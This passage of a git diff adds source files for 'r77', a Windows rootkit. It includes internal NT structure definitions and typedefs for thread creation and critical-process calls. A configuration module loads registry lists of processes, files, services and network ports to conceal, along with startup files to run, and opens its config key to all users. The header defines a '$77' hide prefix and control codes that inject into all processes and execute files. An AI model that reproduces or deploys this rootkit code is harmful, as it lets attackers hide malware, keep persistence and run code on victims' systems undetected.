+ LARGE_INTEGER UserTime;
+ LARGE_INTEGER DpcTime;
+ LARGE_INTEGER InterruptTime;
+ ULONG InterruptCount;
+} NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;
+
+typedef enum _NT_FILE_INFORMATION_CLASS
+{
+ FileFullDirectoryInformation = 2,
+ FileBothDirectoryInformation,
+ FileBasicInformation,
+ FileStandardInformation,
+ FileInternalInformation,
+ FileEaInformation,
+ FileAccessInformation,
+ FileNameInformation,
+ FileRenameInformation,
+ FileLinkInformation,
+ FileNamesInformation,
+ FileDispositionInformation,
+ FilePositionInformation,
+ FileFullEaInformation,
+ FileModeInformation,
+ FileAlignmentInformation,
+ FileAllInformation,
+ FileAllocationInformation,
+ FileEndOfFileInformation,
+ FileAlternateNameInformation,
+ FileStreamInformation,
+ FilePipeInformation,
+ FilePipeLocalInformation,
+ FilePipeRemoteInformation,
+ FileMailslotQueryInformation,
+ FileMailslotSetInformation,
+ FileCompressionInformation,
+ FileObjectIdInformation,
+ FileCompletionInformation,
+ FileMoveClusterInformation,
+ FileQuotaInformation,
+ FileReparsePointInformation,
+ FileNetworkOpenInformation,
+ FileAttributeTagInformation,
+ FileTrackingInformation,
+ FileIdBothDirectoryInformation,
+ FileIdFullDirectoryInformation,
+ FileValidDataLengthInformation,
+ FileShortNameInformation,
+ FileIoCompletionNotificationInformation,
+ FileIoStatusBlockRangeInformation,
+ FileIoPriorityHintInformation,
+ FileSfioReserveInformation,
+ FileSfioVolumeInformation,
+ FileHardLinkInformation,
+ FileProcessIdsUsingFileInformation,
+ FileNormalizedNameInformation,
+ FileNetworkPhysicalNameInformation,
+ FileIdGlobalTxDirectoryInformation,
+ FileIsRemoteDeviceInformation,
+ FileUnusedInformation,
+ FileNumaNodeInformation,
+ FileStandardLinkInformation,
+ FileRemoteProtocolInformation,
+ FileRenameInformationBypassAccessCheck,
+ FileLinkInformationBypassAccessCheck,
+ FileVolumeNameInformation,
+ FileIdInformation,
+ FileIdExtdDirectoryInformation,
+ FileReplaceCompletionInformation,
+ FileHardLinkFullIdInformation,
+ FileIdExtdBothDirectoryInformation,
+ FileMaximumInformation
+} NT_FILE_INFORMATION_CLASS;
+
+typedef struct _NT_FILE_BOTH_DIR_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG FileIndex;
+ LARGE_INTEGER CreationTime;
+ LARGE_INTEGER LastAccessTime;
+ LARGE_INTEGER LastWriteTime;
+ LARGE_INTEGER ChangeTime;
+ LARGE_INTEGER EndOfFile;
+ LARGE_INTEGER AllocationSize;
+ ULONG FileAttributes;
+ ULONG FileNameLength;
+ ULONG EaSize;
+ CCHAR ShortNameLength;
+ WCHAR ShortName[12];
+ WCHAR FileName[1];
+} NT_FILE_BOTH_DIR_INFORMATION, *PNT_FILE_BOTH_DIR_INFORMATION;
+
+typedef struct _NT_FILE_DIRECTORY_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG FileIndex;
+ LARGE_INTEGER CreationTime;
+ LARGE_INTEGER LastAccessTime;
+ LARGE_INTEGER LastWriteTime;
+ LARGE_INTEGER ChangeTime;
+ LARGE_INTEGER EndOfFile;
+ LARGE_INTEGER AllocationSize;
+ ULONG FileAttributes;
+ ULONG FileNameLength;
+ WCHAR FileName[1];
+} NT_FILE_DIRECTORY_INFORMATION, *PNT_FILE_DIRECTORY_INFORMATION;
+
+typedef struct _NT_FILE_FULL_DIR_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG FileIndex;
+ LARGE_INTEGER CreationTime;
+ LARGE_INTEGER LastAccessTime;
+ LARGE_INTEGER LastWriteTime;
+ LARGE_INTEGER ChangeTime;
+ LARGE_INTEGER EndOfFile;
+ LARGE_INTEGER AllocationSize;
+ ULONG FileAttributes;
+ ULONG FileNameLength;
+ ULONG EaSize;
+ WCHAR FileName[1];
+} NT_FILE_FULL_DIR_INFORMATION, *PNT_FILE_FULL_DIR_INFORMATION;
+
+typedef struct _NT_FILE_ID_BOTH_DIR_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG FileIndex;
+ LARGE_INTEGER CreationTime;
+ LARGE_INTEGER LastAccessTime;
+ LARGE_INTEGER LastWriteTime;
+ LARGE_INTEGER ChangeTime;
+ LARGE_INTEGER EndOfFile;
+ LARGE_INTEGER AllocationSize;
+ ULONG FileAttributes;
+ ULONG FileNameLength;
+ ULONG EaSize;
+ CCHAR ShortNameLength;
+ WCHAR ShortName[12];
+ LARGE_INTEGER FileId;
+ WCHAR FileName[1];
+} NT_FILE_ID_BOTH_DIR_INFORMATION, *PNT_FILE_ID_BOTH_DIR_INFORMATION;
+
+typedef struct _NT_FILE_ID_FULL_DIR_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG FileIndex;
+ LARGE_INTEGER CreationTime;
+ LARGE_INTEGER LastAccessTime;
+ LARGE_INTEGER LastWriteTime;
+ LARGE_INTEGER ChangeTime;
+ LARGE_INTEGER EndOfFile;
+ LARGE_INTEGER AllocationSize;
+ ULONG FileAttributes;
+ ULONG FileNameLength;
+ ULONG EaSize;
+ LARGE_INTEGER FileId;
+ WCHAR FileName[1];
+} NT_FILE_ID_FULL_DIR_INFORMATION, *PNT_FILE_ID_FULL_DIR_INFORMATION;
+
+typedef struct _NT_FILE_NAMES_INFORMATION
+{
+ ULONG NextEntryOffset;
+ ULONG FileIndex;
+ ULONG FileNameLength;
+ WCHAR FileName[1];
+} NT_FILE_NAMES_INFORMATION, *PNT_FILE_NAMES_INFORMATION;
+
+typedef enum _NT_KEY_INFORMATION_CLASS
+{
+ KeyBasicInformation,
+ KeyNodeInformation,
+ KeyFullInformation,
+ KeyNameInformation
+} NT_KEY_INFORMATION_CLASS;
+
+typedef enum _NT_KEY_VALUE_INFORMATION_CLASS
+{
+ KeyValueBasicInformation,
+ KeyValueFullInformation,
+ KeyValuePartialInformation
+} NT_KEY_VALUE_INFORMATION_CLASS;
+
+typedef struct _NT_KEY_BASIC_INFORMATION
+{
+ LARGE_INTEGER LastWriteTime;
+ ULONG TitleIndex;
+ ULONG NameLength;
+ WCHAR Name[1];
+} NT_KEY_BASIC_INFORMATION, *PNT_KEY_BASIC_INFORMATION;
+
+typedef struct _NT_KEY_NAME_INFORMATION
+{
+ ULONG NameLength;
+ WCHAR Name[1];
+} NT_KEY_NAME_INFORMATION, *PNT_KEY_NAME_INFORMATION;
+
+typedef struct _NT_KEY_VALUE_BASIC_INFORMATION
+{
+ ULONG TitleIndex;
+ ULONG Type;
+ ULONG NameLength;
+ WCHAR Name[1];
+} NT_KEY_VALUE_BASIC_INFORMATION, *PNT_KEY_VALUE_BASIC_INFORMATION;
+
+typedef struct _NT_KEY_VALUE_FULL_INFORMATION
+{
+ ULONG TitleIndex;
+ ULONG Type;
+ ULONG DataOffset;
+ ULONG DataLength;
+ ULONG NameLength;
+ WCHAR Name[1];
+} NT_KEY_VALUE_FULL_INFORMATION, *PNT_KEY_VALUE_FULL_INFORMATION;
+
+typedef enum _NT_NSI_PARAM_TYPE
+{
+ NsiUdp = 1,
+ NsiTcp = 3
+} NT_NSI_PARAM_TYPE;
+
+typedef struct _NT_NSI_TCP_SUBENTRY
+{
+ BYTE Reserved1[2];
+ USHORT Port;
+ ULONG IpAddress;
+ BYTE IpAddress6[16];
+ BYTE Reserved2[4];
+} NT_NSI_TCP_SUBENTRY, *PNT_NSI_TCP_SUBENTRY;
+
+typedef struct _NT_NSI_TCP_ENTRY
+{
+ NT_NSI_TCP_SUBENTRY Local;
+ NT_NSI_TCP_SUBENTRY Remote;
+} NT_NSI_TCP_ENTRY, *PNT_NSI_TCP_ENTRY;
+
+typedef struct _NT_NSI_UDP_ENTRY
+{
+ BYTE Reserved1[2];
+ USHORT Port;
+ ULONG IpAddress;
+ BYTE IpAddress6[16];
+ BYTE Reserved2[4];
+} NT_NSI_UDP_ENTRY, *PNT_NSI_UDP_ENTRY;
+
+typedef struct _NT_NSI_STATUS_ENTRY
+{
+ ULONG State;
+ BYTE Reserved[8];
+} NT_NSI_STATUS_ENTRY, *PNT_NSI_STATUS_ENTRY;
+
+typedef struct _NT_NSI_PROCESS_ENTRY
+{
+ ULONG UdpProcessId;
+ ULONG Reserved1;
+ ULONG Reserved2;
+ ULONG TcpProcessId;
+ ULONG Reserved3;
+ ULONG Reserved4;
+ ULONG Reserved5;
+ ULONG Reserved6;
+} NT_NSI_PROCESS_ENTRY, *PNT_NSI_PROCESS_ENTRY;
+
+typedef struct _NT_NSI_PARAM
+{
+ SIZE_T Reserved1;
+ SIZE_T Reserved2;
+ LPVOID ModuleId;
+ NT_NSI_PARAM_TYPE Type;
+ ULONG Reserved3;
+ ULONG Reserved4;
+ LPVOID Entries;
+ SIZE_T EntrySize;
+ LPVOID Reserved5;
+ SIZE_T Reserved6;
+ PNT_NSI_STATUS_ENTRY StatusEntries;
+ SIZE_T Reserved7;
+ PNT_NSI_PROCESS_ENTRY ProcessEntries;
+ SIZE_T ProcessEntrySize;
+ SIZE_T Count;
+} NT_NSI_PARAM, *PNT_NSI_PARAM;
+
+typedef enum _NT_OBJECT_INFORMATION_CLASS
+{
+ ObjectNameInformation = 1,
+ ObjectAllInformation = 3,
+ ObjectDataInformation
+} NT_OBJECT_INFORMATION_CLASS, *PNT_OBJECT_INFORMATION_CLASS;
+
+typedef struct _NT_LDR_DATA_TABLE_ENTRY
+{
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+ LPVOID DllBase;
+ LPVOID EntryPoint;
+ ULONG SizeOfImage;
+ UNICODE_STRING FullDllName;
+ UNICODE_STRING BaseDllName;
+ ULONG Flags;
+ SHORT LoadCount;
+ SHORT TlsIndex;
+ LIST_ENTRY HashTableEntry;
+ ULONG TimeDateStamp;
+} NT_LDR_DATA_TABLE_ENTRY, *PNT_LDR_DATA_TABLE_ENTRY;
+
+typedef struct _NT_PEB_LDR_DATA
+{
+ DWORD Length;
+ DWORD Initialized;
+ LPVOID SsHandle;
+ LIST_ENTRY InLoadOrderModuleList;
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+ LPVOID EntryInProgress;
+} NT_PEB_LDR_DATA, *PNT_PEB_LDR_DATA;
+
+typedef struct _NT_PEB
+{
+ BYTE InheritedAddressSpace;
+ BYTE ReadImageFileExecOptions;
+ BYTE BeingDebugged;
+ BYTE SpareBool;
+ LPVOID Mutant;
+ LPVOID ImageBaseAddress;
+ PNT_PEB_LDR_DATA Ldr;
+ LPVOID ProcessParameters;
+ LPVOID SubSystemData;
+ LPVOID ProcessHeap;
+ PRTL_CRITICAL_SECTION FastPebLock;
+ LPVOID FastPebLockRoutine;
+ LPVOID FastPebUnlockRoutine;
+ DWORD EnvironmentUpdateCount;
+ LPVOID KernelCallbackTable;
+ DWORD SystemReserved;
+ DWORD AtlThunkSListPtr32;
+ LPVOID FreeList;
+ DWORD TlsExpansionCounter;
+ LPVOID TlsBitmap;
+ DWORD TlsBitmapBits[2];
+ LPVOID ReadOnlySharedMemoryBase;
+ LPVOID ReadOnlySharedMemoryHeap;
+ LPVOID ReadOnlyStaticServerData;
+ LPVOID AnsiCodePageData;
+ LPVOID OemCodePageData;
+ LPVOID UnicodeCaseTableData;
+ DWORD NumberOfProcessors;
+ DWORD NtGlobalFlag;
+ LARGE_INTEGER CriticalSectionTimeout;
+ DWORD HeapSegmentReserve;
+ DWORD HeapSegmentCommit;
+ DWORD HeapDeCommitTotalFreeThreshold;
+ DWORD HeapDeCommitFreeBlockThreshold;
+ DWORD NumberOfHeaps;
+ DWORD MaximumNumberOfHeaps;
+ LPVOID ProcessHeaps;
+ LPVOID GdiSharedHandleTable;
+ LPVOID ProcessStarterHelper;
+ DWORD GdiDCAttributeList;
+ LPVOID LoaderLock;
+ DWORD OSMajorVersion;
+ DWORD OSMinorVersion;
+ WORD OSBuildNumber;
+ WORD OSCSDVersion;
+ DWORD OSPlatformId;
+ DWORD ImageSubsystem;
+ DWORD ImageSubsystemMajorVersion;
+ DWORD ImageSubsystemMinorVersion;
+ DWORD ImageProcessAffinityMask;
+ DWORD GdiHandleBuffer[34];
+ LPVOID PostProcessInitRoutine;
+ LPVOID TlsExpansionBitmap;
+ DWORD TlsExpansionBitmapBits[32];
+ DWORD SessionId;
+ ULARGE_INTEGER AppCompatFlags;
+ ULARGE_INTEGER AppCompatFlagsUser;
+ LPVOID ShimData;
+ LPVOID AppCompatInfo;
+ UNICODE_STRING CSDVersion;
+ LPVOID ActivationContextData;
+ LPVOID ProcessAssemblyStorageMap;
+ LPVOID SystemDefaultActivationContextData;
+ LPVOID SystemAssemblyStorageMap;
+ DWORD MinimumStackCommit;
+} NT_PEB, *PNT_PEB;
+
+typedef struct _NT_IMAGE_RELOC
+{
+ WORD Offset : 12;
+ WORD Type : 4;
+} NT_IMAGE_RELOC, *PNT_IMAGE_RELOC;
+
+typedef NTSTATUS(NTAPI *NT_NTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength);
+typedef NTSTATUS(NTAPI *NT_NTRESUMETHREAD)(HANDLE thread, PULONG suspendCount);
+typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan);
+typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILEEX)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName);
+typedef NTSTATUS(NTAPI *NT_NTENUMERATEKEY)(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength);
+typedef NTSTATUS(NTAPI *NT_NTENUMERATEVALUEKEY)(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength);
+typedef BOOL(WINAPI *NT_ENUMSERVICEGROUPW)(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved);
+typedef BOOL(WINAPI *NT_ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName);
+typedef NTSTATUS(NTAPI *NT_NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength);
+typedef NTSTATUS(NTAPI *NT_NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
+typedef NTSTATUS(NTAPI *NT_NTCREATETHREADEX)(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
+typedef NTSTATUS(NTAPI *NT_RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
+typedef NTSTATUS(NTAPI *NT_RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);
+typedef DWORD(NTAPI *NT_NTFLUSHINSTRUCTIONCACHE)(HANDLE process, LPVOID baseAddress, ULONG size);
+typedef HMODULE(WINAPI *NT_LOADLIBRARYA)(LPCSTR fileName);
+typedef FARPROC(WINAPI *NT_GETPROCADDRESS)(HMODULE module, LPCSTR function);
+typedef LPVOID(WINAPI *NT_VIRTUALALLOC)(LPVOID address, SIZE_T size, DWORD allocationType, DWORD protect);
+typedef BOOL(WINAPI *NT_DLLMAIN)(HINSTANCE module, DWORD reason, LPVOID reserved);
+
+#endif
\ No newline at end of file
diff --git a/r77api/r77api.vcxitems b/r77api/r77api.vcxitems
new file mode 100644
index 0000000..3f5480b
--- /dev/null
+++ b/r77api/r77api.vcxitems
@@ -0,0 +1,33 @@
+
+
+
+ $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
+ true
+ {525fd9eb-628a-4d93-b320-3c1dfa0a216d}
+
+
+
+ %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/r77api/r77config.c b/r77api/r77config.c
new file mode 100644
index 0000000..1fd4a18
--- /dev/null
+++ b/r77api/r77config.c
@@ -0,0 +1,163 @@
+#include "r77config.h"
+#include "r77def.h"
+#include "r77runtime.h"
+#include
+
+PR77_CONFIG LoadR77Config()
+{
+ PR77_CONFIG config = NEW(R77_CONFIG);
+ config->StartupFiles = CreateStringList(TRUE);
+ config->HiddenProcessIds = CreateIntegerList();
+ config->HiddenProcessNames = CreateStringList(TRUE);
+ config->HiddenPaths = CreateStringList(TRUE);
+ config->HiddenServiceNames = CreateStringList(TRUE);
+ config->HiddenTcpLocalPorts = CreateIntegerList();
+ config->HiddenTcpRemotePorts = CreateIntegerList();
+ config->HiddenUdpPorts = CreateIntegerList();
+
+ // Load configuration from HKEY_LOCAL_MACHINE\SOFTWARE\$77config
+ HKEY key;
+ if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, KEY_READ | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS)
+ {
+ // Read startup files "startup" subkey.
+ HKEY startupKey;
+ if (RegOpenKeyExW(key, L"startup", 0, KEY_READ, &startupKey) == ERROR_SUCCESS)
+ {
+ LoadStringListFromRegistryKey(config->StartupFiles, startupKey, MAX_PATH);
+ RegCloseKey(startupKey);
+ }
+
+ // Read process ID's from the "pid" subkey.
+ HKEY pidKey;
+ if (RegOpenKeyExW(key, L"pid", 0, KEY_READ, &pidKey) == ERROR_SUCCESS)
+ {
+ LoadIntegerListFromRegistryKey(config->HiddenProcessIds, pidKey);
+ RegCloseKey(pidKey);
+ }
+
+ // Read process names from the "process_names" subkey.
+ HKEY processNameKey;
+ if (RegOpenKeyExW(key, L"process_names", 0, KEY_READ, &processNameKey) == ERROR_SUCCESS)
+ {
+ LoadStringListFromRegistryKey(config->HiddenProcessNames, processNameKey, MAX_PATH);
+ RegCloseKey(processNameKey);
+ }
+
+ // Read paths from the "paths" subkey.
+ HKEY pathKey;
+ if (RegOpenKeyExW(key, L"paths", 0, KEY_READ, &pathKey) == ERROR_SUCCESS)
+ {
+ LoadStringListFromRegistryKey(config->HiddenPaths, pathKey, MAX_PATH);
+ RegCloseKey(pathKey);
+ }
+
+ // Read service names from the "service_names" subkey.
+ HKEY serviceNameKey;
+ if (RegOpenKeyExW(key, L"service_names", 0, KEY_READ, &serviceNameKey) == ERROR_SUCCESS)
+ {
+ LoadStringListFromRegistryKey(config->HiddenServiceNames, serviceNameKey, MAX_PATH);
+ RegCloseKey(serviceNameKey);
+ }
+
+ // Read local TCP ports from the "tcp_local" subkey.
+ HKEY tcpLocalKey;
+ if (RegOpenKeyExW(key, L"tcp_local", 0, KEY_READ, &tcpLocalKey) == ERROR_SUCCESS)
+ {
+ LoadIntegerListFromRegistryKey(config->HiddenTcpLocalPorts, tcpLocalKey);
+ RegCloseKey(tcpLocalKey);
+ }
+
+ // Read remote TCP ports from the "tcp_remote" subkey.
+ HKEY tcpRemoteKey;
+ if (RegOpenKeyExW(key, L"tcp_remote", 0, KEY_READ, &tcpRemoteKey) == ERROR_SUCCESS)
+ {
+ LoadIntegerListFromRegistryKey(config->HiddenTcpRemotePorts, tcpRemoteKey);
+ RegCloseKey(tcpRemoteKey);
+ }
+
+ // Read UDP ports from the "udp" subkey.
+ HKEY udpKey;
+ if (RegOpenKeyExW(key, L"udp", 0, KEY_READ, &udpKey) == ERROR_SUCCESS)
+ {
+ LoadIntegerListFromRegistryKey(config->HiddenUdpPorts, udpKey);
+ RegCloseKey(udpKey);
+ }
+
+ RegCloseKey(key);
+ }
+
+ return config;
+}
+VOID DeleteR77Config(PR77_CONFIG config)
+{
+ DeleteStringList(config->StartupFiles);
+ DeleteIntegerList(config->HiddenProcessIds);
+ DeleteStringList(config->HiddenProcessNames);
+ DeleteStringList(config->HiddenPaths);
+ DeleteStringList(config->HiddenServiceNames);
+ DeleteIntegerList(config->HiddenTcpLocalPorts);
+ DeleteIntegerList(config->HiddenTcpRemotePorts);
+ DeleteIntegerList(config->HiddenUdpPorts);
+ libc_memset(config, 0, sizeof(R77_CONFIG));
+ FREE(config);
+}
+BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB)
+{
+ if (configA == configB)
+ {
+ return TRUE;
+ }
+ else if (configA == NULL || configB == NULL)
+ {
+ return FALSE;
+ }
+ else
+ {
+ return
+ CompareStringList(configA->StartupFiles, configB->StartupFiles) &&
+ CompareIntegerList(configA->HiddenProcessIds, configB->HiddenProcessIds) &&
+ CompareStringList(configA->HiddenProcessNames, configB->HiddenProcessNames) &&
+ CompareStringList(configA->HiddenPaths, configB->HiddenPaths) &&
+ CompareStringList(configA->HiddenServiceNames, configB->HiddenServiceNames) &&
+ CompareIntegerList(configA->HiddenTcpLocalPorts, configB->HiddenTcpLocalPorts) &&
+ CompareIntegerList(configA->HiddenTcpRemotePorts, configB->HiddenTcpRemotePorts) &&
+ CompareIntegerList(configA->HiddenUdpPorts, configB->HiddenUdpPorts);
+ }
+}
+BOOL InstallR77Config(PHKEY key)
+{
+ if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_64KEY, NULL, key, NULL) == ERROR_SUCCESS)
+ {
+ // Return TRUE, even if setting the DACL fails.
+ // If DACL creation failed, only elevated processes will be able to write to the configuration system.
+ PSECURITY_DESCRIPTOR securityDescriptor = NULL;
+ ULONG securityDescriptorSize = 0;
+ if (ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)", SDDL_REVISION_1, &securityDescriptor, &securityDescriptorSize))
+ {
+ RegSetKeySecurity(*key, DACL_SECURITY_INFORMATION, securityDescriptor);
+ LocalFree(securityDescriptor);
+ }
+
+ return TRUE;
+ }
+
+ return FALSE;
+}
+VOID UninstallR77Config()
+{
+ // Delete subkeys in HKEY_LOCAL_MACHINE\SOFTWARE\$77config
+ HKEY key;
+ if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS)
+ {
+ WCHAR subKeyName[1000];
+ for (DWORD subKeyNameLength = 1000; RegEnumKeyExW(key, 0, subKeyName, &subKeyNameLength, NULL, NULL, NULL, NULL) == ERROR_SUCCESS; subKeyNameLength = 1000)
+ {
+ RegDeleteKeyW(key, subKeyName);
+ }
+
+ RegCloseKey(key);
+ }
+
+ // Delete HKEY_LOCAL_MACHINE\SOFTWARE\$77config
+ RegDeleteKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", KEY_ALL_ACCESS | KEY_WOW64_64KEY, 0);
+}
\ No newline at end of file
diff --git a/r77api/r77config.h b/r77api/r77config.h
new file mode 100644
index 0000000..1763819
--- /dev/null
+++ b/r77api/r77config.h
@@ -0,0 +1,81 @@
+#include "r77mindef.h"
+#include "clist.h"
+#ifndef _R77CONFIG_H
+#define _R77CONFIG_H
+
+///
+/// Defines the global configuration for r77.
+///
+typedef struct _R77_CONFIG
+{
+ ///
+ /// A list of file paths to start when windows starts.
+ ///
+ PSTRING_LIST StartupFiles;
+ ///
+ /// A list of process ID's to hide in addition to processes hidden by the prefix.
+ ///
+ PINTEGER_LIST HiddenProcessIds;
+ ///
+ /// A list of process names to hide in addition to processes hidden by the prefix.
+ ///
+ PSTRING_LIST HiddenProcessNames;
+ ///
+ /// A list of file or directory full paths to hide in addition to files and directories hidden by the prefix.
+ ///
+ PSTRING_LIST HiddenPaths;
+ ///
+ /// A list of service names to hide in addition to services hidden by the prefix.
+ ///
+ PSTRING_LIST HiddenServiceNames;
+ ///
+ /// A list of local TCP ports to hide.
+ ///
+ PINTEGER_LIST HiddenTcpLocalPorts;
+ ///
+ /// A list of remote TCP ports to hide.
+ ///
+ PINTEGER_LIST HiddenTcpRemotePorts;
+ ///
+ /// A list of UDP ports to hide.
+ ///
+ PINTEGER_LIST HiddenUdpPorts;
+} R77_CONFIG, *PR77_CONFIG;
+
+///
+/// Loads the global configuration for r77.
+///
+///
+/// A newly allocated R77_CONFIG structure.
+///
+PR77_CONFIG LoadR77Config();
+///
+/// Deletes the specified R77_CONFIG structure.
+///
+/// The R77_CONFIG structure to delete.
+VOID DeleteR77Config(PR77_CONFIG config);
+///
+/// Compares two R77_CONFIG structures for equality.
+///
+/// The first R77_CONFIG structure.
+/// The second R77_CONFIG structure.
+///
+/// TRUE, if both R77_CONFIG structures are equal;
+/// otherwise, FALSE.
+///
+BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB);
+///
+/// Creates the r77 configuration registry key with full access to all users.
+///
+/// The newly created HKEY.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL InstallR77Config(PHKEY key);
+///
+/// Deletes the r77 configuration from the registry.
+///
+VOID UninstallR77Config();
+
+#endif
\ No newline at end of file
diff --git a/r77api/r77def.h b/r77api/r77def.h
new file mode 100644
index 0000000..d9b5a78
--- /dev/null
+++ b/r77api/r77def.h
@@ -0,0 +1,109 @@
+#ifndef _R77DEF_H
+#define _R77DEF_H
+
+// These preprocessor definitions must match the constants in GlobalAssemblyInfo.cs
+
+///
+/// The prefix for name based hiding (e.g. processes, files, etc...).
+///
+#define HIDE_PREFIX L"$77"
+///
+/// The length of the hide prefix, excluding the terminating null character.
+///
+#define HIDE_PREFIX_LENGTH (sizeof(HIDE_PREFIX) / sizeof(WCHAR) - 1)
+
+///
+/// r77 header signature: The process is injected with the r77 DLL.
+///
+#define R77_SIGNATURE 0x7277
+///
+/// r77 header signature: The process is the r77 service process.
+///
+#define R77_SERVICE_SIGNATURE 0x7273
+///
+/// r77 header signature: The process is an r77 helper file (e.g. TestConsole.exe).
+///
+#define R77_HELPER_SIGNATURE 0x7268
+
+///
+/// Name for the scheduled task that starts the r77 service for 32-bit processes.
+///
+#define R77_SERVICE_NAME32 HIDE_PREFIX L"svc32"
+///
+/// Name for the scheduled task that starts the r77 service for 64-bit processes.
+///
+#define R77_SERVICE_NAME64 HIDE_PREFIX L"svc64"
+
+///
+/// Name for the named pipe that notifies the 32-bit r77 service about new child processes.
+///
+#define CHILD_PROCESS_PIPE_NAME32 L"\\\\.\\pipe\\" HIDE_PREFIX L"childproc32"
+///
+/// Name for the named pipe that notifies the 64-bit r77 service about new child processes.
+///
+#define CHILD_PROCESS_PIPE_NAME64 L"\\\\.\\pipe\\" HIDE_PREFIX L"childproc64"
+
+///
+/// Name for the named pipe that receives commands from external processes.
+///
+#define CONTROL_PIPE_NAME L"\\\\.\\pipe\\" HIDE_PREFIX L"control"
+///
+/// Name for the internally used named pipe of the 64-bit r77 service that receives redirected commands from the 32-bit r77 service.
+/// Do not use! Always use CONTROL_PIPE_NAME.
+///
+#define CONTROL_PIPE_REDIRECT64_NAME L"\\\\.\\pipe\\" HIDE_PREFIX L"control_redirect64"
+
+///
+/// Specifies a list of processes that will not be injected.
+/// By default, this list includes processes that are known to cause problems.
+/// To customize this list, add custom entries and recompile.
+///
+#define PROCESS_EXCLUSIONS { L"MSBuild.exe" }
+// Example: { L"MSBuild.exe", L"your_app.exe", L"another_app.exe" }
+
+///
+/// The control code that terminates the r77 service.
+///
+#define CONTROL_R77_TERMINATE_SERVICE 0x1001
+///
+/// The control code that uninstalls r77.
+///
+#define CONTROL_R77_UNINSTALL 0x1002
+///
+/// The control code that temporarily pauses injection of new processes.
+///
+#define CONTROL_R77_PAUSE_INJECTION 0x1003
+///
+/// The control code that resumes injection of new processes.
+///
+#define CONTROL_R77_RESUME_INJECTION 0x1004
+///
+/// The control code that injects r77 into a specific process, if it is not yet injected.
+///
+#define CONTROL_PROCESSES_INJECT 0x2001
+///
+/// The control code that injects r77 into all processes that are not yet injected.
+///
+#define CONTROL_PROCESSES_INJECT_ALL 0x2002
+///
+/// The control code that detaches r77 from a specific process.
+///
+#define CONTROL_PROCESSES_DETACH 0x2003
+///
+/// The control code that detaches r77 from all processes.
+///
+#define CONTROL_PROCESSES_DETACH_ALL 0x2004
+///
+/// The control code that executes a file using ShellExecute.
+///
+#define CONTROL_USER_SHELLEXEC 0x3001
+///
